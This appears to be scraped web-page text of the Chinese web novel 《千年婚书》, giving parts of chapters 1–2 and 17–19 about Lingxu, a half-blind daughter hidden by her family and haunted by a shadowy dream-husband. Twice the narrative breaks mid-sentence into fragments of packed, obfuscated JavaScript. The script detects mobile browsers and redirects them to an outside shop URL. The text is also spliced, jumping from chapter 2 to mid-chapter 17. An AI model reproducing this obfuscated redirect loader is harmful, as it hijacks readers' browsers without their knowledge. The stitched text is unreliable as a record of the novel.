《千年婚书》 1. 第 1 章 《千年婚书》全本免费阅读 猛然惊醒时,外头天还沉黑着,乌压压不见五指,透不出丁点儿光。 菱絮抹了把额头,摸到一手湿冷。她太疲惫了,即便这些时日几乎日日昏睡也还是睡不够。 耳中如鼓鸣,胸口沉闷,如压了一块重石在上,浑身难耐,翻身都成困难。 外间很快有了动静,悉悉索索声响起,随后一点莹莹光亮隔着窗纸洇过来。彩绣披着褂子,端了一盏烛灯打着帘子进来,近到身旁瞧见菱絮睁着眼,忙放下灯盏。 “姑娘,可是又魇着了?” 菱絮口中酸涩,复又闭上眼,隔了半晌方吐出一个字:“水。” 丫鬟应一声,匆匆倒了半杯凉茶回来。 “睡前明明吩咐丽珠将茶水温在炉子上。”彩绣将她扶起,塞了个迎枕在背后,絮絮叨叨,不乏埋怨:“定是那丫头躲懒,左耳进右耳出……要生起炉子还需些时候,这会儿便只有凉茶,姑娘若是不舒服便不要喝了。” 凉茶反醒神,几口下去,冰凉入喉,她神思逐渐清明起来,不适感也愈发强烈,头痛恨不能将脑仁子炸开一般。 “现下是什么时候?” “约莫四更天。”彩绣掖了掖被角,怕她身上落汗受风:“还早着,姑娘再睡会儿吧。” 睡不成了,抑或说不敢再入睡。 自七月十五起,日子一天比一天难熬。 菱絮往床内挪,拍一拍那还蕴着温热的床沿:“来,陪我说说话吧。” 按常理是不合规矩的,内院夫人管束下人严,若被她知晓,免不了一顿罚。 彩绣随姑娘一同长大,多年来循规蹈矩,今日倒是叹口气,遂了她的愿。 “姑娘想听故事吗?” 夜里没有光,烛火光弱,念书要费目,况夜正深着,该是睡意沉沉的时候,如此要劳神。 菱絮摇头:“你只管随意说些什么,有个动静便好。” 彩绣冒到嘴边的话又生生咽回去,心中复杂,却露出个微微笑的脸来:“外头都说姑娘稳重,奴婢却觉得姑娘还是个孩子。” “还记得幼时,姑娘就是这般,夜里做了噩梦不敢一人睡,便把奴婢和丽珠都叫来,三人挤在床上,讲故事到天明。” 想起那时的事,菱絮也忍不住笑,倚着床头,脸颊略有潮红:“晨起听见嬷嬷声音,又要忙着将你二人藏起,有一回被抓了个正着,母亲叫去足足训了半个时辰。” 幼时若被母亲叫去,心里只觉得天塌了一般,那便是最最了不得的大事了,如今长到这般年岁,反怀念起来,忆起只有轻松愉快。 “姑娘自小便有胆识,不比一般闺阁闺秀。” “有胆识又如何?还不要困在这四方天地里,毫无用处。” “话岂能这样说?”彩绣大她两岁,有时讲话如姐姐,免不了有些教导意味:“姑娘如今正是烂漫年华,怎能如老朽一般,往后的日子只会好,不会差。” 往后的日子只会好,不会差。 这句话听彩绣在耳边念叨十几年,菱絮笑:“我看你才是如老朽,小小年岁老气沉沉,开口似个嬷嬷。” 彩绣不与她辩,意欲拉些长短与她听,好哄她入睡。 “姑娘可还记得老祖宗手下的大丫鬟冰月,前些年放出庄子上那个,听闻与田庄户有了首尾,那田庄户还是个鳏夫。老太太先是不许,说是气出了病,卧床足有三五日不见人,只道冰月是个贱骨头,人往高处走,她偏挑个赖皮户。” 那位可是个心气儿高的主儿,自小在跟前儿长大,老太太有时比疼孙女还要疼她,养得像府里半个小姐般,谁见都给几分薄面,从不拿正眼瞧人。 菱絮是正儿八经太太养出来的小姐,都免不了在她手下吃过几次排头。 府里下人传,说她是要配官家老爷的,又不知怎么的,忽然去了庄子上。 “怎么说?”她装出起了点兴味的模样。 彩绣见她有兴致,暗松一口气,娓娓讲与她听:“都是下人们嘴里说的,也不知有几分真假,说是那庄户长得有几分俊俏……老太太生气也没辙,气得不肯见她,打发她下月便要出嫁了。” 说到出嫁,菱絮脸色一变。 彩绣也意识到自己说错话,忙从榻上起身,急急道歉:“姑娘,是奴婢说错话了,莫要往心上去!” 怎能不往心上去? 成婚成婚,这如今是菱絮最听不得的两个字,如今她身边的人,便是把这二字拆开来说,都不敢叫她听去。 菱絮默了默,拉住彩绣的手:“无碍,只是个梦。” 彩绣小心翼翼打量她神色,再不敢提听来的那些闲事,去外间书架上寻了个本子。 “奴婢给姑娘讲故事吧。” 她复又伺候人躺下,放下纱帘,端起烛火寻了个远些的地方。 彩绣是为她讲惯了故事的,声音轻柔,调子和缓不快不慢,许是怕光亮惊扰她睡意,又是背着她将那点子火苗挡住。 这么多年了,每一次从梦中惊醒都是两个丫鬟陪在身边,菱絮心安下些许。 倦意重新席卷而来,朦胧间她挣扎着不愿闭眼,意识逐渐昏沉,临睡前她似是说了句什么,彩绣低低应了声。 许是老天怜悯,后半夜再没有梦到奇怪的东西,菱絮睡得极好,再醒来时已是天光大亮,连日里来难得有些精神头。 “姑娘可算是起了。” 丽珠端着红木盘子急急走进来:“夫人那处来了人,如今就等在院子里,今晨怕是连口热乎饭都吃不上了!” 菱絮瞪了瞪神儿,方才想起前日里母亲说过要带家中姊妹出门上香,她祈愿最是虔诚,素来赶早不赶晚。 赵家到了他们这一辈儿也算枝繁叶茂,主枝兄弟姐妹加起来十几人。菱絮有两个亲姊,都已过了及笄的年岁,早已定下人家,只等着时日到了便要婚配。 两位姐姐是得母亲怜爱的,自幼便被带出去交际,在京中贵女之间也算有些名声。 与之相反,一年到头菱絮出门的次数屈指可数。 不是不出,而是不能。 她生来便有一目盲,一个天残的姑娘,便是生得再美又如何?即便她没有做错任何事,也被认为是不祥的存在,就连族谱之上都没有姓名。 是以旁人只知户部郎中赵大人家有两位娇娇女,鲜少有人知晓还有个第三女养在深闺。 门廊处马车早已套好,两个红飞翠舞的锦衣少女亲亲热热围在一位贵妇人身旁,说说笑笑极为亲昵,母女三人好一片母慈女孝之景。 菱絮目不斜视,心中一片平静,规规矩矩请安。 贵妇人正是菱絮生母赵家大夫人,她向下瞥去一眼,反倒敛起笑意,全然不见热络。 “王嬷嬷在你院中等了足足半个时辰,你倒是睡得沉。” 赵大太太身旁着蓝衫的少女瞥她一眼,嘀咕道:“早就跟母亲说不带三妹了,三妹性子木讷,又比公主殿下还要娇气,出门惹事怎么办?” 旁边另一位与她眉眼相似的少女也附和:“再等下去误了给菩萨上香可怎生是好。” “慎言。”赵夫人捏了捏女儿手臂,责怪道:“岂敢置喙公主殿下?” “罢了。”她像是一句都不愿与菱絮说话,连斥责两句都不肯:“快上车吧。” 比公主殿下娇气?菱絮不由暗暗哂笑,她 2. 第 2 章 《千年婚书》全本免费阅读 回程路上格外安静。 赵大太太闭目养神,两个姑娘爬山受了累,早已互相倚靠着昏睡过去。 菱絮撩起帘子向外看,荒凉偏僻之地,要寻到这么个地方,想必也费了她母亲不少功夫。 将将要日落,进城的人多起来。 有官兵问:“车上是何人?” 马车外小厮递上赵府令牌,赔着笑:“是我家夫人与小姐,还请官爷行个方便。” 当差将士往后一看,只一辆马车,一旁随了三两个丫鬟,算上驱马的车夫,男丁小厮拢共也才三人而已。 官家女眷出门,还是出城这样的远门,不带护院实属可疑。 当即便不耐烦地拨开小厮,刀鞘翻转,二话不说掀开了车帘。 他撞上了一张极美的脸。 碧玉年华的少女,杏脸桃腮,唇瓣不染自红,眼睫纤长,轻颤时有如蝴蝶飞舞,明眸皓齿丰容盛鬋,冰肌雪肤不似真人。许是受了些许惊吓,眼中清波漾漾,越发仙姿佚貌,像是那壁画上的仙女成了真……世间当真有这般女子? 他直愣愣盯着她瞧,被吸走了魂儿似的。 菱絮浅浅蹙眉,别过脸去,将容貌掩在昏暗之下。 赵夫人有些不悦:“福生!” 叫福生的小厮暗叫不好,急急围挡上前:“官爷,这是户部郎中赵大人家的女眷!” 那将士迟迟缓不过神,控制不住将眼神往马车里瞥,颇有些魂不守舍。 这边闹出些动静,终是引起人注意,又来了几个持枪握刀的官兵,领头的是个年轻男子。 “发生何事?” 听到声音,先前的将士这才回神儿,忙转身一拱手:“回将军,无事。” 说罢就抬手让人放行,像是生怕被发现什么似的,急急让人入城门。 马车又缓缓动起来,外头有人小声议论。 “车上有什么,都叫你看呆了?” 那人答得含糊不清:“约莫是赵大夫人与三位小姐。” “赵大人只有两位千金,哪来的三位?你怕是中了邪!” …… 这般安静,自然入了车内所有人的耳。 赵蓉玥与赵蓉婧早在方才便醒了,赵蓉玥去看菱絮的脸色。 说是亲生的姊妹,一同长大,可她们与菱絮并不亲近,这个妹妹处处与她们不同,长相不肖似父母,性子也沉闷古怪,这一辈的女孩儿从蓉字辈,她却叫菱絮,她的一只眼睛还…… 自幼母亲便教导,出门交际不可提起家中还有个幼妹,菱絮如同一个禁忌,父亲母亲提起,面上便要失了笑,偌大的宅院,大门不出二门不迈,像是要将她锁在里面。 婚嫁乃大事,耽误不得,偏她都已过了及笄之年,家中却还没有要为她相看夫婿的打算。 看着看着就出了神,冷不丁对上菱絮那双幽幽的黑眸。 她面容沉静,实是波澜不兴,旁人说赵家只有两位小姐,竟半分没影响到她的情绪。 赵蓉玥猛打个哆嗦,急急将目光收回来。 她……她就是个妖精! * 整个赵府最清冷的地方便是陶风阁,安排下人的时候,也不知是赵大夫人忘了还是故意,连洒扫婆子都比大姑娘二姑娘少两个。 阖府上下都知晓三姑娘不受宠,便是连下人平时都不爱与陶风阁的人走动。 晨起出门,菱絮带走了彩绣,丽珠百无聊赖,在院子前的门槛上坐了一下午。 回到府上,四处已点起了灯。 隔着老远丽珠便听到动静,前方影影绰绰,草木遮挡,她竟也认出了她家姑娘窈窕身形,奋奋然跳起来,揪着裙摆跑过去。 “姑娘可算是回来了!” 她一把便报上菱絮的手臂,忍不住问:“夫人带小姐是去哪里上的香,怎的日落了才回来?” 彩绣觑她一眼,有些不悦:“姑娘从晨起至现在尚未进食,你可有备下饭菜?” 丽珠呆了呆:“夫人没有留姑娘——” “丽珠!” 丽珠忙打住话头:“自然备下了!” 这丫头心宽,说话做事都少根筋,转头又喜笑颜开:“听彩绣说昨儿夜里姑娘想吃枣泥卷,今日丽珠早早就为姑娘做好了,还有烧笋鸡、油蒸饼、八宝攒汤……就等着姑娘回来呢。待会儿呀,姑娘先去换身舒适的衣裳,可以一边泡脚解乏一边吃饭……” 原来她昨日夜里说的竟是想吃枣泥卷…… 菱絮忍不住笑了笑。 彩绣见她笑了,悬了一路的心放回肚子里。 不怪她多心,夫人念佛是府里上下都知晓的事,可平日里是从不带三姑娘去的,今日庙里见到的那个道姑也甚是奇怪,夫人独独领了三姑娘进去,众人被留在前院里,便是想去偷听都没机会。 三人在后罩房里停留了足足有两盏茶的功夫,一点儿动静都没有,出来时姑娘面容平静,夫人眉头紧锁心事重重,那女龙王沉默着将人送到了门口,临走时单独将姑娘带走说了几句话。 夫人就在一旁冷眼看着,似是对那道姑有几分忌惮。 而这三姑娘的性子,彩绣最是了解不过,她若是不想开口,旁人就是使出一百种法子,也不能叫她说一个字,就譬如那场梦…… 谁又能不做噩梦呢? 便是彩绣自己,时日久了也会因噩梦惊醒,姑娘也是这般,恰逢她守夜,赶上那么几次,听到房里有呜呜咽咽的哭声。 一年里许有个三四次。 后来年岁渐长,姑娘不再哭了,惊醒后只是盯着幔帐发呆,有时一呆就是一整夜。 再就是及笄后,噩梦做得越来越频繁,她放心不下,守着人睡了几晚,听到了姑娘说的梦话。 她说的是……“放过我罢,我不想再做梦了,也不想再见到你!” 彩绣心跳如鼓,一夜未合眼,醒来就去找姑娘问。 若非这一次撞破,也不会知晓姑娘的秘密,即便如此,姑娘也是含糊其辞,她只知道梦里有个男子自称是姑娘的夫婿。 纠缠人数年,又自称是夫婿! 彩绣不敢想那梦里的东西是什么,吓得好几个晚上睡不着,夜里疑神疑鬼总觉得有动静,偷偷去后院老太太的佛堂外拜过几次。 明明守着亲生爹娘,却得不到半点儿庇护,若是主君与太太愿意疼一疼这个女儿,说不准姑娘也不会被折磨这么多年。 年幼时还好些,随着姑娘年岁渐长,瞧他们的态度,越发避之唯恐不及,巴不得要把人撵出去! 这样的爹娘……还不若死了算了! “彩绣……” “彩绣。” 彩绣陡然回魂儿,双手泡在木桶里,原是要给姑娘按摩的,却不知何时死死捏住了姑娘的脚。 她慌忙松手,惊出一身冷汗,细嫩脚背之上满是红红的指印,触目惊心,瞧着骇人。 “对不起姑娘,奴婢方才走了神,奴婢这就去拿药膏!” 菱絮按下她的肩膀:“无碍,不疼的。今日走了一天,你定是累了,这里不用你,回去早些歇息吧。” “那怎么行——” “当真没事。” 彩绣犹犹豫豫:“要不今晚奴婢陪着姑娘睡吧。” 菱絮声调慢慢:“今日该是丽珠守夜,她憋闷了一日,正愁没处说话呢,你就安心去睡吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12125446|129148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙的话,并为她取名为菱絮。” “旁的不说,便是为了孩子的身体着想,我们也不敢不信,可别说,自菱絮来了我家,还当真是好事连连!” “这孩子此前受了不少苦,可我也悉心教导着,如今年岁到了,能亲自养在膝下,也终于能带出来给诸位瞧瞧,对我家来说自然是大好事,也让诸位沾沾我府上的喜气!” 在座的太太们都是常年往大梵音寺供香油钱的主儿,哪里会不信?再加上赵大夫人面上的喜悦不似作假,纷纷唏嘘不已,说孩子是苦尽甘来,享福的日子还在后头呢。 这个赵家三女,生得这般好容貌,见举止也颇为得体,若非是有苦衷,赵家没必要藏着掖着。 众人都觉得是好事,又听闻是福星转世,更是忍不住多看两眼。 京城说小不小说大不大,夫人们成日里聚在一起,本以为今日又是个唠家常的无聊茶会,谁知赵大夫人来这么一出,一时便热闹起来。 有人来问话,赵大夫人便答,真话假话掺着说,答得滴水不漏。 夫人们对这个突然冒出来的赵菱絮着实感兴趣,这张脸,说些大不敬的,便是宫里那位被誉为天下第一美人的安贵妃来了,恐怕都要甘拜下风。 这等场合菱絮也是第一次面对,原以为会出些意外,只想着少说话便罢,一切交给赵大夫人,就如出门前说好的那样。 偏生她是无师自通,应付起贵夫人来分外熟稔,一举一动颇有大家闺秀的风范。 无论赵夫人所言有几分真,这是位教养良好的千金小姐不假。 赵大夫人今日肯把人带出来,意思已经足够明确,这是嫡女,已过及笄,可以议亲了。 今日她得到了足够多的赞誉,一个寻常茶会,没有贵女小姐们参加,亦没有抢了旁人的风头,郡王妃更是对菱絮十分喜爱,有些一见如故的意思,当即便脱下手上的镯子赏赐与她。 这一次露面,无疑是成功的。 上了马车,赵大夫人便撑不住了,卸下笑容,丫鬟立马靠过去为她揉捏肩膀。 歇了一会儿,感觉能喘口气,她这才睁眼,打量这个不曾教导过的三女。 她今天表现得极好,出乎她的意料,这般气度不仅不输两个自幼精心教导的女儿,反而很有世家大族的气质。 而那些大家贵女,不仅要堆金积玉地富养,还要簪缨百年的传承。赵老爷如今虽做到了五品,可祖上至多便是秀才,家底是学不来的,简言之,不像是她赵家能养出来的孩子。 赵大夫人心情十分复杂。 菱絮不知道母亲在想什么,这样的茶会,她虽应付得来,可心底并不喜欢,与她想象中的模样大相径庭,她也有些累,可当着大夫人的面,只能强稳着身子。 “你今日做得很好,有什么不懂就及时问我。” “是,母亲。”菱絮乖巧应答。 “离回府还有段路,累了便歇歇罢。” “女儿知道了。” 说罢,赵大夫人又闭上了眼,再不管她。 菱絮稍稍松了松脊背,靠在车壁上,掀起帘子一角看。 高阳郡王的府邸靠近皇家园林,景色极好,人烟稀少。 路上没什么人,路两旁是成片成片的竹林,高耸入云,她漫无目的地看,看到竹林中似乎有人在散步。 约莫是个男子,距离不算远,可菱絮目力弱,只能看个大概,能在附近走动的大概也是什么贵家子弟罢,也许是个年轻公子,他身形高挑,挺拔如松,似乎是穿了黑色衣裳。 黑色衣裳…… 收回视线的下一秒,菱絮手臂一僵,随后脑袋中嗡嗡作响。 她僵硬的扭过头,再看向那公子。 他是走在竹林里,可以说得上是闲庭漫步,可为何……始终不紧不慢跟随在她家奔驰的马车左侧,不落下半步? 菱絮眯了眯眼,又去细看。 她终于看清了。 竹林中的哪里是个人? 那分明是道黑色的影子。 18. 第 18 章 一石激起千层浪。 不出两天的功夫,京城都传遍了,户部侍郎家中竟然还有位三女,有绝世倾城之姿,这般娇美容貌,竟生生叫他们藏到今日。 菱絮在家歇息了两日,绣房也赶制出了衣裳,不过两日,赵府大门的小厮收请帖收到手软。 也果真不出赵大夫人所料,二房三房都不同意公开菱絮身份,可赵大夫人先下手为强,如今满京城都传遍了,骑虎难下,纵风险极大,可他们是一条绳上的蚂蚱,便是再有不满,也只能生生忍下。 是以这两日赵府内并不太平,各房之间很有些剑拔弩张的气氛,主子们一个个脾气都要爆了似的。 先是三位老爷,几乎日日都在议事堂争吵至半夜,随后是妯娌间,晨起给老太太请安时又是一阵针锋相对话中带刺。 老太太刚失了贴心的婢女,烦闷伤心还尚未过去,顾不得听媳妇儿们争吵,何况事及菱絮,她不想管,干脆又住到别苑里去,免了她们晨昏定省。 再然后是大少爷,成婚方半年,将将定了性子,昨日夜里也不知为何动手打了自己的妻子,今日晨起,那少夫人便收拾东西带上婢女回了娘家。 此事可大可小,若要传出去,只怕言官再朝堂上要治他赵老爷个家教不严的罪,只有一点,因着是庶长子,定亲时赵大夫人并不上心。 庶子出身,二房三房亦有能干的嫡子,百年后是谁撑起赵府的门楣还未可知,况他赵家并非什么高门大户,长子定亲时没有什么优势,是赵老爷看中了部下家的女儿,既是部下,又好说些。 可毕竟那个不争气的东西是动手打了人,况且谁家的姑娘不是金尊玉贵养着的?若是他的女儿嫁去旁人家受这等罪,他高低要上门将那小畜生打个半死才是! 整日里衙门上的事不够烦,家中还后院起火,不争气的东西,只会惹事添乱! 没法子,赵老爷下了衙门,回来绑起那逆子就去了祠堂,亲自拿着藤条,直把他后背抽得看不出原样,才压着他让赵大夫人上门赔罪。 这头了了,那头二房的太太又莫名晕倒了,一日里晕了两次,大夫把脉也说不出个深浅,只开了一堆补气血的药。 赵府就这么大,拢共三房,竟没有一房是安稳的。 赵大夫人也是焦头烂额,要操心三女,还要给那庶子擦屁股,又加之她已经连着几日睡不好,先头只以为是心里装着事睡不成,可这两日总觉得闭上眼就有什么东西在看暗中偷窥她。 一整夜一整夜,睡不了一会儿便要惊醒,叫来婢女守夜也不成,一醒来便是心跳如鼓,惊出一身冷汗。 第二日叫了护院来查探过,夜里又命他们巡视,哪里有人?赵大夫人怀疑是有不干净的东西,白日里又亲自去易道长留下的符纸处看过,那符纸好生待在原处,风轻轻拂过,下缘便被吹起。 赵大夫人看着符,心里定下不少,只遗憾易道长行踪不定,再要请来府上恐怕难。 定时这段时间太过劳累,熬过去就好了,过些时日抓些补身体的药,再让厨房备好膳食好生养养。 …… 白日里忙碌起来了,这还是头一次,有如一个众星捧月的大家小姐。 陶风阁也不再是僻静的小院儿,大门不再一关就是一整日,大夫人派遣来的嬷嬷丫鬟们成日里进进出出,一时把陶风阁也带得有了些人气儿。 府上下人是会看主子脸色的,见陶风阁的那位近来受到的关注多,好几个管事主动把好东西都送来,还有巴结丽珠和彩绣的。 说实话,平日里虽然他们也不敢为难陶风阁的人,可终究是不爱与她们走一道儿,丽珠在外头是有几个能说话的,可也都是不受宠的小丫头,没什么心眼的那种。 丽珠烦得很,她不会装模作样,当着人的面就对着彩绣说烦,把来人脸上说得一阵儿红一阵儿白的。 白天忙着想不起来,一到夜里夜深人静,菱絮心底便是一股淡淡的烦躁。 事情已然在按着她的计划走了,一切都如她所愿十分顺利,可为何会心神不宁? 洛承寂已经有好几日不曾出现,时间久得令菱絮恍惚,这个人当真存在过吗?他就像消失了一样,他逼着自己看了一整夜的字,没有出现,然后就再没了影子。 她开始做梦,做普通的梦,醒来时就会忘记的那种梦,梦里再没有那人身影。 菱絮本该庆幸的,也许他已经知道了,所以往后再也不会来纠缠她。 不会再有了,她神色黯下来,不会再看到他了。 …… 高阳郡王妃又下了帖子。 这回是邀请他们一家去别苑住两日,说是秋景极美,一年只那么几日看得到,还有一株百年的桂花树也开了花。 郡王家的别苑,说白了就是皇家别苑,分封时给了高阳郡王家,能在皇家别苑住上两日,这可是难得机会。 赵大夫人再不愿意,也知晓这恐怕是沾了菱絮的光。 她家老爷毕竟只是个五品官员,在朝中没有根基,比不得这些扎根京城的百年世族,何况又是郡王家,就更高攀不得了。 此前她与高阳郡王妃的交情也一般,不过是她巴结恭维着,郡王妃也算好说话,不是难伺候的主儿,往日里这种机会又怎会往赵府送帖子? 怕是菱絮的名声传了出去,不少夫人都想借机想看,也罢,这就是赵大夫人的目的。 此行带上了赵蓉婧与赵蓉玥,经过上次在屋里说悄悄话的事,二人待菱絮都亲近不少,还偷跑来陶风阁,嘱咐第一次外宿的菱絮要带上什么东西,赵大夫人睁一只眼闭一只眼,索性不想管了。 菱絮的行囊里都是赵夫人新为她制的衣裳,还有几套头面,有些是临时买的,有些是赵大夫人的私物,赵蓉玥知道妹妹要相看人家的,也从自己的首饰盒子里拿出一对红玉耳坠来送给她。 这一趟极为热闹,毕竟要小住几日,行李不少,仆众也带了不少。 园林足够大,到地方时,外面已全是马车,各家的下人忙忙碌碌搬着东西,有郡王府的管事安排诸位贵人的住所。 赵家分到一处不错的位置,临湖,距离主院近,夜里还安静。 休整了一个多时辰,有下人来报,请诸位去主院用膳。 赵大夫人命菱絮换了身衣衫,亲自督看着婢女为她描眉,又挑选首饰为她戴上。 这样的场合,待会儿众人都看着,这回可就不是只有各家的夫人,还有好些尚未婚配的世家公子,既不能太出挑,又不能被人比了去。 赵大夫人拿捏得极好,到主院时还没有多少人,女眷和外男自然要分开坐席,只是现在还未正式开席,主人家高阳郡王妃也还没到,倒是不必那么拘谨。 赵蓉玥远远就看到了詹事府少詹事家的幺女,赵大夫人把菱絮往她身边推:“去,要好生介绍妹妹。” 出门前她们都是被交代过的,赵蓉玥拉起她的手,小声在她耳边介绍来人身份。 菱絮还是第一次被姐姐牵手,不禁愣了一下,低头看了看。 赵蓉玥动作十分自然,像做过千百遍似的,察觉到她停下,还拽了一下,回头奇怪看她:“走呀。” 她把那点别扭抛在脑后,感受到许许多多道目光都凝聚在她身上,好奇的、看热闹的、轻视的……最多便是惊艳的。 自踏进这个院子起,便不断有窃窃私语声响起,菱絮知道自己是他们谈论的焦点。 她只是挺起胸脯,尽量平和,面带微笑。 “这便是三妹妹罢。”圆脸的姑娘笑着看她,身边还跟着两位同样环佩叮当的少女。 赵蓉玥笑着为她们互相介绍,她是八面玲珑的,将出门前编好的话说得绘声绘色,什么妹妹自小只有在过年的时候才能见,如今终于能带着她同姐妹们一起玩了,她很多事都不懂,你们可要好生照顾。 这都是与赵蓉玥交好的,自然应下,拉着她便要坐在一桌上。 几人好久不见,一坐下便讨论京城新近的簪子样式,菱絮也时不时跟着说两句,不多话也不寡言。 那少詹事的幺女说着说着,像是看到了什么,忽然招手喊道:“哥哥!” 菱絮顺着她所看方向看去,两个少年走了过来,为首的那个应当就是少女口中的哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12125447|129148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他先是一眼看到菱絮,随后怔忪一瞬,脸霎时就红了,急急移开视线。 “佩珊,找我何事?” 胡佩珊笑着拉过菱絮的手:“这是蓉玥的嫡亲妹妹,哥哥还不曾见过吧?” 小姑娘意图实在太过明显,挤眉弄眼的,生怕旁人不知道。 少年被推到前面,只得行了个礼,却还是不敢正眼看她:“见过三妹妹。” 菱絮回了个礼,只当看不懂她们在做什么。 寒暄两句,那少年似是待不住了,寻了个借口赶忙离开,走时大步流星,身后有猛兽追赶似的。 胡佩珊也不恼,笑嘻嘻的:“我家哥哥呀,最是个循规蹈矩的性子,往后你就知晓了。” 赵蓉玥也推了推她的手臂,悄悄与她咬耳朵:“胡家兄长品性最是不错,先前也是因守孝,方误了婚事。” 胡家,品性又好,菱絮没吱声。 又说了两句,外头忽然传来一阵喧闹声,吵吵嚷嚷的,俱是男子,毫无顾忌地嘻哈玩笑着,哪里有个世家子弟的模样?惹得院中不少人都频频去看。 赵蓉玥也冒头看了一眼,旋即眼中便染上厌恶之情,小声道:“那便是郡王家的独子,原是小妾生的,因郡王妃一直未曾有孕,便记到了郡王妃的名下。他是个混不吝的,满京城都找不出第二个如他这般的膏粱纨绔,往后见了他你可要躲远些,他们这帮人做下的恶事……” 她是再也说不下去了,也怕吓到菱絮。 胡佩珊等人同样如此,纷纷收回目光,心有戚戚焉,连说话声音都小了许多。 “不是说他去江南游历了吗?” “是啊,怎会出现在这里?” …… 唯有菱絮,稳稳往那方向看了一眼。 约莫又坐了一盏茶的功夫,菱絮起身如厕,赵蓉玥要陪她,菱絮将她按下。 “二姐姐就陪着佩珊姐姐罢,我去找母亲。” 赵大夫人指了个大丫鬟陪她一起去,又请院内的婢女指路。 出了主院,外头要安静许多,菱絮随手指了个方向,好奇问道:“那边是哪里?” 丫鬟也未多想:“顺着那边走便是花园,姑娘若想赏花,明天白日里去即可。” 菱絮行得慢,似是有些好奇,走了没两步又听到几个男子笑闹的声音。 丫鬟面色一变,转身便要带她走另一条路:“姑娘走这里。” 那丫鬟不知在急什么,伸手扶了一把菱絮,菱絮转身没站稳,立时摔倒在地。 丫鬟吓得松手,下一秒又去拉:“姑娘没事罢?”她方才并没使什么劲,只是不想碰上大少爷,怎会如此? 动静惊动了院子里的人,菱絮才站起来,就看到有个少年站在不远处,锦衣华服,衣裳却松松垮垮十分没仪态,挑着眉看过来,脸上有几分醉意。 菱絮盈泪,弱弱回望,又惊到般收回目光。 少年起先并不在意,在看清人脸的一瞬,神色都正上几分,站直了身子,目光直勾勾毫不掩饰盯着人瞧。 他轻咳一声,眼睛还在盯着菱絮:“姑娘没事吧?” 眼前人的模样与方才在席间的一瞥对上了号,她运气很好,如愿见到了……冯元青,高阳郡王的独子。 菱絮目光闪躲,行了一礼,小声道:“无事,多些公子关心。” 冯元青踱步走来,一改吊儿郎当的风流样,目露关心。 “不若姑娘先进来歇息片刻,我命人去寻大夫,还是要看看才放心。” 人走近,那领路的丫鬟不自觉哆嗦起来,头埋得越发低。 连廊上挂着数不清的小灯笼,也算明亮,菱絮抬眼,扫过一旁的假山石时,忽地顿住了。 一股熟悉的寒意涌上心头。 假山之上,有一道隐隐绰绰的影子。 没有人,却有影子。 它像个身形挺拔的年轻男子,与前些时日在竹林看到的那个渐渐重叠在一起,此刻他稳稳立着,不知已经在那里多久了。 它在看着她。 这个念头清晰地冒出在菱絮脑海。 19. 第 19 章 “姑娘,姑娘?” 菱絮回过神来,眨眨眼,迫使自己把视线从那假山上的影子处移开,这才惊觉不过片刻的功夫,掌心里已全是汗。 赵大夫人身边的丫鬟见她脸色有些白,方才还神色古怪,只当是摔得严重了,不免也着急。 郡王府的丫鬟更是吓得瑟瑟发抖:“奴婢……奴婢这就去找大夫来!” 她慌得几乎要晕过去,只想躲开少爷,谁知越怕什么越来什么,不仅如此,还害得郡王妃的客人受伤! 冯元青走得更近了,他居高临下瞥了一眼抖个不停的丫鬟:“不长眼的奴才,这可是母亲贵客,你有几个脑袋,竟敢怠慢贵客?” 若放在平时,早叫人将这脏东西拖下去杖毙了,他收回眼,忍着一脚踹上去的冲动。 不过轻飘飘两句话,身边咚一声闷响,丫鬟重重跪在地上,五体投地,声音已带上哭腔:“少爷饶命,少爷饶命!都怪奴婢不长眼,奴婢这就给姑娘赔罪!” 这个冯元青……瞧这丫鬟的反应,就知赵蓉玥所言非虚,如今当着外人面尚且言语粗鲁,可见这些伺候的人在他手下讨生活,平日里过的都是什么水深火热的日子。 菱絮定了定,用手绢拭了拭眼角的泪,脸上是明显的羞怯与慌乱:“不关她的事,是我自己不小心,请公子不要责罚她。” 冯元青本在江南游历,远离京城,没有父亲母亲约束,整日里寻欢作乐纸醉金迷不知有多快活。 本是不欲回来的,可月前父亲一封又一封的家书催促,父亲是个暴躁的性子,若惹了他不快定要挨罚,冯元青只得回来。这才在府上休养了不足两日,就又被郡王妃带到这别苑里来。 冯元青自然不愿,带那么些个娇滴滴的姑娘小姐,摆在他家中,只能看不能玩,有何意思?先前不过睡了个谁家小姐的贴身婢女,闹得有些大,事后被他父亲打得皮开肉绽。 再说那些道貌岸然的公子哥,惯会装模作样,冯元青懒得与他们打照面。 他母亲倒也没说什么,只叮嘱他务必要来,冯元青原以为会无聊几日,正预备在别苑里找两个有几分姿色的丫头消遣消遣,没成想叫他遇上个天仙! 饶是他见惯了美色,环肥燕瘦各有千秋,也还是被眼前人美貌惊住,这是谁家的姑娘?若京城真有这么一号人,他此前又怎会不知道? 冯元青心口有一团火在烧,烧得他登时来了精神,烧得他口干舌燥。 他当真是愉快,不过听到声音出来看看,竟被他发现这么一个绝世美人儿。 心情好,所以决定饶了这个不知死活的下人。 冯元青冷哼道:“滚吧,自行下去领罚。” 等那丫鬟慌不择路退下去,他又和声看向菱絮:“在下冯元青,还不知姑娘姓名。” 菱絮稍稍退后一步,掩在阴影中的小脸不过巴掌大,全然是一副羞赧模样,她声音极小:“我父亲是户部郎中赵大人。” 这般模样,看得人心痒难耐。他故作了悟:“原来是赵大人家的千金。” 